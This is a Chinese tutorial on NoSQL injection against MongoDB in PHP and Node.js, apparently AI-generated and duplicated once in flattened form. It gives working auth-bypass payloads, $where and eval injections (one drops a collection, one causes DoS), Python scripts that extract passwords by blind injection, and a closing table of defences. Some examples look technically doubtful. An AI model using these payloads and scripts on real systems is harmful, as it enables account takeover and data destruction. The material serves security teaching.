NoSQL注入详解:PHP、Node.js 双杀
字数 3524 2025-11-11 00:25:29

好的,根据您提供的链接内容,我将提取其中关于NoSQL注入的知识,为您生成一篇详尽的教学文档。

NoSQL注入全面详解:从原理到防御

一、NoSQL与MongoDB基础概念

1. NoSQL定义

NoSQL(Not Only SQL)是一种非关系型数据库范式,强调非结构化数据存储,区别于传统RDBMS的严格模式。它适用于大数据、高并发场景,如社交媒体和实时分析。2009年后快速发展,支持水平扩展和最终一致性。

2. MongoDB概述

MongoDB是基于C++的分布式文档数据库,数据以BSON(Binary JSON)格式存储,支持嵌套文档和数组。核心优势包括动态模式和内置分片。

示例文档:

{
    "_id": ObjectId("60fa854cf8aaaf4f21049148"),
    "name": "whoami",
    "description": "the admin user",
    "age": 19,
    "status": "A",
    "groups": ["admins", "users"]
}

3. 核心概念对比(RDBMS vs MongoDB)

SQL 概念 MongoDB 概念 说明
database database 数据库
table collection 集合(类似表)
row document 文档(类似行)
column field 字段
index index 索引
table joins MongoDB不支持表连接,使用嵌入或引用
primary key _id 主键,自动生成ObjectId

二、MongoDB基础操作语法

1. 数据库操作

use DATABASE_NAME  // 创建或切换数据库
show dbs           // 查看所有数据库
db                 // 查看当前数据库

> use users
switched to db users
> db
users

2. 集合操作

db.createCollection(name, options)  // 创建集合
show collections                    // 查看集合

> db.createCollection("all_users")
{ "ok" : 1 }
> show collections
all_users

3. 文档操作

插入文档

db.all_users.insert({
    name: 'whoami',
    description: 'the admin user',
    age: 19,
    status: 'A',
    groups: ['admins', 'users']
})

更新文档

  • update():更新匹配文档
db.all_users.update(
    {'age': 19},
    {$set: {'age': 20}},
    {multi: true}  // 更新多条
)
  • save():基于_id更新或插入
db.all_users.save({
    "_id": ObjectId("60fa854cf8aaaf4f21049148"),
    "age": 21,
    // ...
})

查询文档

db.all_users.find({"age": 20}).pretty()

4. 查询条件操作符

操作 MongoDB语法 示例
等于 {"key": "value"} {"name": "whoami"}
小于 {"key": {"$lt": value}} {"age": {"$lt": 19}}
小于等于 {"key": {"$lte": value}} {"age": {"$lte": 19}}
大于 {"key": {"$gt": value}} {"age": {"$gt": 19}}
大于等于 {"key": {"$gte": value}} {"age": {"$gte": 19}}
不等于 {"key": {"$ne": value}} {"age": {"$ne": 19}}

5. 逻辑查询

AND查询(逗号分隔)

db.all_users.find({"status": "B", "age": 20})

OR查询($or数组)

db.all_users.find({
    $or: [
        {"status": "A"},
        {"age": 19}
    ]
})

AND与OR组合

db.all_users.find({
    "age": {"$gt": 19},
    $or: [{"name": "whoami"}, {"status": "A"}]
})

三、NoSQL注入原理与分类

1. 注入定义

NoSQL注入利用未过滤输入修改查询,与SQL注入不同,它依赖应用层语言(如PHP、Node.js)构建查询,可能影响业务逻辑。常见于认证、搜索场景。

2. 注入分类

  • 按语言:PHP数组注入、JavaScript注入、Mongo Shell拼接
  • 按机制
    • 重言式(Tautology):构造永真条件绕过认证
    • 联合查询(Union-Based):追加数据返回
    • JavaScript注入:通过$where或eval执行代码
    • 盲注(Blind):无回显,利用布尔、时间或错误推断
    • 错误基(Error-Based):利用查询错误泄露信息

四、PHP中的MongoDB注入

测试环境搭建

测试数据:

use test
db.createCollection('users')
db.users.insert({username: 'admin', password: '123456'})
db.users.insert({username: 'whoami', password: '657260'})

易受攻击代码(index.php):

$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query(array(
    'username' => $username,
    'password' => $password
));

$result = $manager->executeQuery('test.users', $query)->toArray();

注入方式

1. 重言式注入

Payload:

username[$ne]=1&password[$ne]=1

解析后查询:

db.users.find({'username':{$ne:1}, 'password':{$ne:1}})

返回所有用户。其他操作符:$gt$gte等。

2. 联合查询注入

Payload:

username=admin', $or: [ {}, {'a': 'a'}], $comment: '123456&password=

查询:

{ username: 'admin', $or: [ {}, {'a':'a'}], $comment: '123456' }

忽略密码。注意:现代驱动限制字符串拼接,此为概念演示。

3. JavaScript注入

$where操作符注入
易受攻击代码:

$function = "
function() { 
    var username = '".$username."';
    var password = '".$password."';
    if(username == 'admin' && password == '123456'){
        return true;
    }else{
        return false;
    }
}";
$query = new MongoDB\Driver\Query(array('$where' => $function));

Payload(MongoDB 2.4前):

username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1

获取集合名。

Payload(2.4后):

username=1&password=1';return true//

绕过认证。

DOS Payload:

username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1

CPU占用5秒。

eval命令注入

$cmd = new MongoDB\Driver\Command([
    'eval' => "print('Hello, $username!');"
]);

Payload:

username=1'});db.users.drop();db.users.find({'username':'1

删除集合。

五、盲注技术

1. 布尔盲注(Boolean-Based)

利用$regex判断真假,无回显时推断数据。

提取密码长度:

username=admin&password[$regex]=.{6}   → 成功(长度6)
username=admin&password[$regex]=.{7}   → 失败

逐字符提取:

username=admin&password[$regex]=^123456

Python自动化脚本:

import requests
import string

password = ''
url = 'http://127.0.0.1/index.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            r = requests.post(url=url, data=post_payload)
            if 'Login Success' in r.text:
                print("[+] %s" % (password + c))
                password += c
                break
    if len(password) == 6:  # 假设长度
        break

2. 时间盲注(Time-Based)

当布尔盲注不可用时,利用查询延迟推断。

原理: 注入导致查询执行时间异常长(如sleep 5秒),通过响应时间判断条件真假。

Payload示例:

username=admin&password[$where]=sleep(5000)

或更精确:

password[$where]=function(){sleep(1000); return true;}

Python自动化脚本:

import requests
import time

def check_char(pos, char):
    payload = {
        "username": "admin",
        "password": f"this.password.charAt({pos}) == '{char}' ? sleep(3000) : false"
    }
    start = time.time()
    r = requests.post(url, data=payload)
    elapsed = time.time() - start
    return elapsed > 2  # 阈值

# 逐位提取
password = ''
for pos in range(1, 7):
    for char in 'abcdefghijklmnopqrstuvwxyz0123456789':
        if check_char(pos-1, char):
            password += char
            break

3. 错误基注入(Error-Based)

利用查询错误消息泄露数据库信息,如字段名或数据类型。

原理: 注入无效操作符导致MongoDB抛出详细错误,包含敏感数据。

Payload示例:

username[$invalid]=1&password=1

错误:Unrecognized field "invalid"或泄露集合结构。

六、Node.js中的MongoDB注入

环境搭建

使用Mongoose模块。

易受攻击代码(server.js):

var mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/test');

var UserSchema = new mongoose.Schema({
    name: String,
    username: String,
    password: String
});
var User = mongoose.model('users', UserSchema);

app.post('/', function(req, res) {
    User.findOne({username: req.body.username, password: req.body.password}, function (err, user) {
        if (!user) {
            return res.render('index.jade', {message: 'Login Failed'});
        }
        return res.render('index.jade', {message: 'Welcome back ' + user.name + '!'});
    });
});

重言式注入

Payload:

{"username":{"$ne":1},"password": {"$ne":1}}

绕过认证。

绕过过滤(Unicode编码)

Payload:

{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}

等价$ne

高级利用实验

实验步骤:

  1. 提交'字符测试过滤
  2. 提交有效JavaScript payload:wiener'+'
  3. 测试真假条件:
    • 假条件:wiener' && '1'=='2
    • 真条件:wiener' && '1'=='1
  4. 推断密码长度:administrator' && this.password.length < 30 || 'a'=='b
  5. 使用Intruder爆破具体字符

Mongoose安全更新

Mongoose 8.x(2025标准)通过Schema验证和lean()查询增强防护,自动转义$前缀键。避免find()直接用用户输入;使用query.sanitizeFilter()

七、其他NoSQL数据库注入

1. Redis注入

Redis使用字符串命令如GET、SET,注入常见于管道或Lua脚本。

漏洞: 未转义输入覆盖键。
Payload: 在搜索中注入SET key "malicious"
示例: Node.js中redis.get(userInput)可注入foo|SET hacked "data"
防护: 使用参数化命令。

2. Cassandra注入

Cassandra的CQL类似SQL,支持注入如UNION SELECT。

漏洞: 动态CQL字符串拼接。
Payload: username=admin' OR '1'='1绕过认证。

八、NoSQL注入防御最佳实践

实践 工具/方法 益处
输入验证与消毒 mongo-sanitize 移除恶意操作符
参数化查询 Mongoose .find({}) 防止动态注入
转义特殊字符 正则替换 防止JS注入
最小权限原则 数据库用户权限控制 限制访问范围
WAF与监控 ModSecurity, MongoDB Profiler 检测异常查询
Schema验证 Mongoose Schema 强制类型检查
更新依赖 定期升级 修复已知漏洞
网络安全 TLS + IP绑定 防止暴露

九、NoSQL注入工具与2025最新漏洞

工具

  • NoSQLMap:自动化MongoDB/Redis注入
  • nosqli:盲注测试
  • NoSQLAttack:多数据库支持

2025常见漏洞

  • CVE-2025-23061:Mongoose搜索RCE
  • 零日趋势:盲注占比30%,针对云NoSQL如Atlas

结论

NoSQL注入虽灵活,但通过严格验证和参数化可有效防护。开发者应定期审计代码,关注CVE更新。结合基础知识与高级技术,本文提供从攻击到防护的全链路视角,推动安全开发实践。

关键要点总结:

  1. NoSQL注入利用查询构建机制而非SQL语法
  2. 重言式注入是最常见的攻击方式
  3. 盲注技术在无回显场景下依然有效
  4. 防御需要多层次策略:输入验证、参数化查询、最小权限
  5. 保持依赖库更新是防护已知漏洞的关键
好的,根据您提供的链接内容,我将提取其中关于NoSQL注入的知识,为您生成一篇详尽的教学文档。 NoSQL注入全面详解:从原理到防御 一、NoSQL与MongoDB基础概念 1. NoSQL定义 NoSQL(Not Only SQL)是一种非关系型数据库范式,强调非结构化数据存储,区别于传统RDBMS的严格模式。它适用于大数据、高并发场景,如社交媒体和实时分析。2009年后快速发展,支持水平扩展和最终一致性。 2. MongoDB概述 MongoDB是基于C++的分布式文档数据库,数据以BSON(Binary JSON)格式存储,支持嵌套文档和数组。核心优势包括动态模式和内置分片。 示例文档: 3. 核心概念对比(RDBMS vs MongoDB) | SQL 概念 | MongoDB 概念 | 说明 | |---------|-------------|------| | database | database | 数据库 | | table | collection | 集合(类似表) | | row | document | 文档(类似行) | | column | field | 字段 | | index | index | 索引 | | table joins | 无 | MongoDB不支持表连接,使用嵌入或引用 | | primary key | _ id | 主键,自动生成ObjectId | 二、MongoDB基础操作语法 1. 数据库操作 2. 集合操作 3. 文档操作 插入文档 更新文档 update() :更新匹配文档 save() :基于_ id更新或插入 查询文档 4. 查询条件操作符 | 操作 | MongoDB语法 | 示例 | |------|------------|------| | 等于 | {"key": "value"} | {"name": "whoami"} | | 小于 | {"key": {"$lt": value}} | {"age": {"$lt": 19}} | | 小于等于 | {"key": {"$lte": value}} | {"age": {"$lte": 19}} | | 大于 | {"key": {"$gt": value}} | {"age": {"$gt": 19}} | | 大于等于 | {"key": {"$gte": value}} | {"age": {"$gte": 19}} | | 不等于 | {"key": {"$ne": value}} | {"age": {"$ne": 19}} | 5. 逻辑查询 AND查询 (逗号分隔) OR查询 ($or数组) AND与OR组合 三、NoSQL注入原理与分类 1. 注入定义 NoSQL注入利用未过滤输入修改查询,与SQL注入不同,它依赖应用层语言(如PHP、Node.js)构建查询,可能影响业务逻辑。常见于认证、搜索场景。 2. 注入分类 按语言 :PHP数组注入、JavaScript注入、Mongo Shell拼接 按机制 : 重言式(Tautology) :构造永真条件绕过认证 联合查询(Union-Based) :追加数据返回 JavaScript注入 :通过$where或eval执行代码 盲注(Blind) :无回显,利用布尔、时间或错误推断 错误基(Error-Based) :利用查询错误泄露信息 四、PHP中的MongoDB注入 测试环境搭建 测试数据: 易受攻击代码(index.php): 注入方式 1. 重言式注入 Payload: 解析后查询: 返回所有用户。其他操作符: $gt 、 $gte 等。 2. 联合查询注入 Payload: 查询: 忽略密码。注意:现代驱动限制字符串拼接,此为概念演示。 3. JavaScript注入 $where操作符注入 易受攻击代码: Payload(MongoDB 2.4前): 获取集合名。 Payload(2.4后): 绕过认证。 DOS Payload: CPU占用5秒。 eval命令注入 Payload: 删除集合。 五、盲注技术 1. 布尔盲注(Boolean-Based) 利用 $regex 判断真假,无回显时推断数据。 提取密码长度: 逐字符提取: Python自动化脚本: 2. 时间盲注(Time-Based) 当布尔盲注不可用时,利用查询延迟推断。 原理: 注入导致查询执行时间异常长(如sleep 5秒),通过响应时间判断条件真假。 Payload示例: 或更精确: Python自动化脚本: 3. 错误基注入(Error-Based) 利用查询错误消息泄露数据库信息,如字段名或数据类型。 原理: 注入无效操作符导致MongoDB抛出详细错误,包含敏感数据。 Payload示例: 错误: Unrecognized field "invalid" 或泄露集合结构。 六、Node.js中的MongoDB注入 环境搭建 使用Mongoose模块。 易受攻击代码(server.js): 重言式注入 Payload: 绕过认证。 绕过过滤(Unicode编码) Payload: 等价 $ne 。 高级利用实验 实验步骤: 提交 ' 字符测试过滤 提交有效JavaScript payload: wiener'+' 测试真假条件: 假条件: wiener' && '1'=='2 真条件: wiener' && '1'=='1 推断密码长度: administrator' && this.password.length < 30 || 'a'=='b 使用Intruder爆破具体字符 Mongoose安全更新 Mongoose 8.x(2025标准)通过Schema验证和 lean() 查询增强防护,自动转义 $ 前缀键。避免 find() 直接用用户输入;使用 query.sanitizeFilter() 。 七、其他NoSQL数据库注入 1. Redis注入 Redis使用字符串命令如GET、SET,注入常见于管道或Lua脚本。 漏洞: 未转义输入覆盖键。 Payload: 在搜索中注入 SET key "malicious" 。 示例: Node.js中 redis.get(userInput) 可注入 foo|SET hacked "data" 。 防护: 使用参数化命令。 2. Cassandra注入 Cassandra的CQL类似SQL,支持注入如UNION SELECT。 漏洞: 动态CQL字符串拼接。 Payload: username=admin' OR '1'='1 绕过认证。 八、NoSQL注入防御最佳实践 | 实践 | 工具/方法 | 益处 | |------|----------|------| | 输入验证与消毒 | mongo-sanitize | 移除恶意操作符 | | 参数化查询 | Mongoose .find({}) | 防止动态注入 | | 转义特殊字符 | 正则替换 | 防止JS注入 | | 最小权限原则 | 数据库用户权限控制 | 限制访问范围 | | WAF与监控 | ModSecurity, MongoDB Profiler | 检测异常查询 | | Schema验证 | Mongoose Schema | 强制类型检查 | | 更新依赖 | 定期升级 | 修复已知漏洞 | | 网络安全 | TLS + IP绑定 | 防止暴露 | 九、NoSQL注入工具与2025最新漏洞 工具 NoSQLMap :自动化MongoDB/Redis注入 nosqli :盲注测试 NoSQLAttack :多数据库支持 2025常见漏洞 CVE-2025-23061 :Mongoose搜索RCE 零日趋势 :盲注占比30%,针对云NoSQL如Atlas 结论 NoSQL注入虽灵活,但通过严格验证和参数化可有效防护。开发者应定期审计代码,关注CVE更新。结合基础知识与高级技术,本文提供从攻击到防护的全链路视角,推动安全开发实践。 关键要点总结: NoSQL注入利用查询构建机制而非SQL语法 重言式注入是最常见的攻击方式 盲注技术在无回显场景下依然有效 防御需要多层次策略:输入验证、参数化查询、最小权限 保持依赖库更新是防护已知漏洞的关键